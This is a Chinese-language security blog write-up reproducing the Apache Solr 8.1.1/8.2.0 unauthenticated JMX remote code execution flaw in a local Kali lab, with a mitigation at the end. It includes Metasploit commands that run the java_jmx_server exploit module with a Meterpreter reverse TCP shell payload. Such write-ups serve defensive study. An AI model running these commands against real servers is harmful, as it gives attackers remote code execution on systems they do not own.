Apache Solr JMX服务 RCE 漏洞复现

2020-02-26 11:35:57 浏览数 (1)

本文作者:小阳(Timeline Sec核心成员)

本文共724字,阅读大约需要2~3分钟

声明:请勿做非法用途,否则后果自负

0x00 漏洞概述

Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在不安全的选项ENABLE_REMOTE_JMX_OPTS="true"。如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x01 影响版本

Apache Solr8.1.1和8.2.0版本

0x02 漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x03 复现搭建

Solr 8.20、Java环境、kali系统

因为 Solr 8.20 需要java环境支持,而kali系统本身内置openjdk版本(我的是java10),所以我们无需另外下载java环境。

安装 Apache Solr 8.20:

代码语言:javascript复制
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip

解压安装包

代码语言:javascript复制
unzip solr-8.2.0.zip

切换到bin目录启动Solr

代码语言:javascript复制
./solr  start  -force

成功访问ip:8983(Solr默认端口)

0x04 漏洞复现

我们可以用MSF中的exploit/multi/misc/java_jmx_server模块进行漏洞复现。(我是用kali搭建漏洞环境原因,使用127.0.0.1本地地址作为攻击目标)

代码语言:javascript复制
use exploit/multi/misc/java_jmx_server
set RHOST 127.0.0.1
set RPORT 18983

设置payload java/meterpreter/reverse_tcp

代码语言:javascript复制
set payload java/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT  4444

执行完成,发现成功建立连接

0x05 漏洞修复

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

0x06 参考链接

https://mp.weixin.qq.com/s/co5NdHgjPbgVUu1-hzR4gA

https://github.com/jas502n/CVE-2019-12409

0 人点赞